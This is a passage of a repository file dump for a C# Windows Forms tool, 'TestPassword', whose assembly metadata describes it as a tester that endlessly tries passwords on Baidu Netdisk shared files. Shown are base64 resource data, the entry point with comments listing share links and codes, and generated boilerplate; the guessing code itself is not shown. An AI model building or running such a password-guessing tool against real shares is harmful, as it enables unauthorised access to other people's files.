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\r\n        m10LB/oAAAAASUVORK5CYII=\r\n</value>\r\n  </data>\r\n</root>"
  },
  {
    "path": "TestPassword V1.8.0.4/TestPassword/Program.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Windows.Forms;\r\n\r\nnamespace zgcwkj\r\n{\r\n    static class Program\r\n    {\r\n        /// <summary>\r\n        /// 应用程序的主入口点。\r\n        /// </summary>\r\n        [STAThread]\r\n        static void Main()\r\n        {\r\n            Application.EnableVisualStyles();\r\n            Application.SetCompatibleTextRenderingDefault(false);\r\n            Application.Run(new Main());\r\n\r\n            //https://pan.baidu.com/share/init?surl=dFlOQid\r\n            //lzte\r\n            //https://pan.baidu.com/s/1bEeTsU\r\n            //ebdf\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "TestPassword V1.8.0.4/TestPassword/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\r\nusing System.Runtime.CompilerServices;\r\nusing System.Runtime.InteropServices;\r\n\r\n// 有关程序集的一般信息由以下\r\n// 控制。更改这些特性值可修改\r\n// 与程序集关联的信息。\r\n[assembly: AssemblyTitle(\"百度网盘分享文件密码测试器\")]\r\n[assembly: AssemblyDescription(\"百度网盘分享文件密码进行无穷测试工具\")]\r\n[assembly: AssemblyConfiguration(\"\")]\r\n[assembly: AssemblyCompany(\"zgcwkj\")]\r\n[assembly: AssemblyProduct(\"百度网盘分享文件密码测试器\")]\r\n[assembly: AssemblyCopyright(\"Copyright ©  2018\")]\r\n[assembly: AssemblyTrademark(\"zgcwkj\")]\r\n[assembly: AssemblyCulture(\"\")]\r\n\r\n//将 ComVisible 设置为 false 将使此程序集中的类型\r\n//对 COM 组件不可见。  如果需要从 COM 访问此程序集中的类型，\r\n//请将此类型的 ComVisible 特性设置为 true。\r\n[assembly: ComVisible(false)]\r\n\r\n// 如果此项目向 COM 公开，则下列 GUID 用于类型库的 ID\r\n[assembly: Guid(\"ac42684f-60e0-464c-881d-b679da8d8a7b\")]\r\n\r\n// 程序集的版本信息由下列四个值组成: \r\n//\r\n//      主版本\r\n//      次版本\r\n//      生成号\r\n//      修订号\r\n//\r\n//可以指定所有这些值，也可以使用“生成号”和“修订号”的默认值，\r\n// 方法是按如下所示使用“*”: :\r\n// [assembly: AssemblyVersion(\"1.0.*\")]\r\n[assembly: AssemblyVersion(\"1.8.0.4\")]\r\n[assembly: AssemblyFileVersion(\"1.8.0.4\")]\r\n"
  },
  {
    "path": "TestPassword V1.8.0.4/TestPassword/Properties/Resources.Designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     此代码由工具生成。\r\n//     运行时版本:4.0.30319.42000\r\n//\r\n//     对此文件的更改可能会导致不正确的行为，并且如果\r\n//     重新生成代码，这些更改将会丢失。\r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace zgcwkj.Properties {\r\n    using System;\r\n    \r\n    \r\n    /// <summary>\r\n    ///   一个强类型的资源类，用于查找本地化的字符串等。\r\n    /// </summary>\r\n    // 此类是由 StronglyTypedResourceBuilder\r\n    // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。\r\n    // 若要添加或移除成员，请编辑 .ResX 文件，然后重新运行 ResGen\r\n    // (以 /str 作为命令选项)，或重新生成 VS 项目。\r\n    [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"System.Resources.Tools.StronglyTypedResourceBuilder\", \"4.0.0.0\")]\r\n    [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]\r\n    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\r\n    internal class Resources {\r\n        \r\n        private static global::System.Resources.ResourceManager resourceMan;\r\n        \r\n        private static global::System.Globalization.CultureInfo resourceCulture;\r\n        \r\n        [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"Microsoft.Performance\", \"CA1811:AvoidUncalledPrivateCode\")]\r\n        internal Resources() {\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   返回此类使用的缓存的 ResourceManager 实例。\r\n        /// </summary>\r\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\r\n        internal static global::System.Resources.ResourceManager ResourceManager {\r\n            get {\r\n                if (object.ReferenceEquals(resourceMan, null)) {\r\n                    global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager(\"zgcwkj.Properties.Resources\", typeof(Resources).Assembly);\r\n                    resourceMan = temp;\r\n                }\r\n                return resourceMan;\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   使用此强类型资源类，为所有资源查找\r\n        ///   重写当前线程的 CurrentUICulture 属性。\r\n        /// </summary>\r\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\r\n        internal static global::System.Globalization.CultureInfo Culture {\r\n            get {\r\n                return resourceCulture;\r\n            }\r\n            set {\r\n                resourceCulture = value;\r\n            }\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "TestPassword V1.8.0.4/TestPassword/Properties/Resources.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<root>\r\n  <!-- \r\n    Microsoft ResX Schema \r\n    \r\n    Version 2.0\r\n    \r\n    The primary goals of this format is to allow a simple XML format \r\n    that is mostly human readable. The generation and parsing of the \r\n    various data types are done through the TypeConverter classes \r\n    associated with the data types.\r\n    \r\n    Example:\r\n    \r\n    ... ado.net/XML headers & schema ...\r\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\r\n    <resheader name=\"version\">2.0</resheader>\r\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\r\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\r\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\r\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\r\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\r\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\r\n    </data>\r\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\r\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\r\n        <comment>This is a comment</comment>\r\n    </data>\r\n                \r\n    There are any number of \"resheader\" rows that contain simple \r\n    name/value pairs.\r\n    \r\n    Each data row contains a name, and value. The row also contains a \r\n    type or mimetype. Type corresponds to a .NET class that support \r\n    text/value conversion through the TypeConverter architecture. \r\n    Classes that don't support this are serialized and stored with the \r\n    mimetype set.\r\n    \r\n    The mimetype is used for serialized objects, and tells the \r\n    ResXResourceReader how to depersist the object. This is currently not \r\n    extensible. For a given mimetype the value must be set accordingly:\r\n    \r\n    Note - application/x-microsoft.net.object.binary.base64 is the format \r\n    that the ResXResourceWriter will generate, however the reader can \r\n    read any of the formats listed below.\r\n    \r\n    mimetype: application/x-microsoft.net.object.binary.base64\r\n    value   : The object must be serialized with \r\n            : System.Serialization.Formatters.Binary.BinaryFormatter\r\n            : and then encoded with base64 encoding.\r\n    \r\n    mimetype: application/x-microsoft.net.object.soap.base64\r\n    value   : The object must be serialized with \r\n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\r\n            : and then encoded with base64 encoding.\r\n\r\n    mimetype: application/x-microsoft.net.object.bytearray.base64\r\n    value   : The object must be serialized into a byte array \r\n            : using a System.ComponentModel.TypeConverter\r\n            : and then encoded with base64 encoding.\r\n    -->\r\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\r\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\r\n      <xsd:complexType>\r\n        <xsd:choice maxOccurs=\"unbounded\">\r\n          <xsd:element name=\"metadata\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"assembly\">\r\n            <xsd:complexType>\r\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"data\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" msdata:Ordinal=\"1\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"resheader\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n        </xsd:choice>\r\n      </xsd:complexType>\r\n    </xsd:element>\r\n  </xsd:schema>\r\n  <resheader name=\"resmimetype\">\r\n    <value>text/microsoft-resx</value>\r\n  </resheader>\r\n  <resheader name=\"version\">\r\n    <value>2.0</value>\r\n  </resheader>\r\n  <resheader name=\"reader\">\r\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n  <resheader name=\"writer\">\r\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, 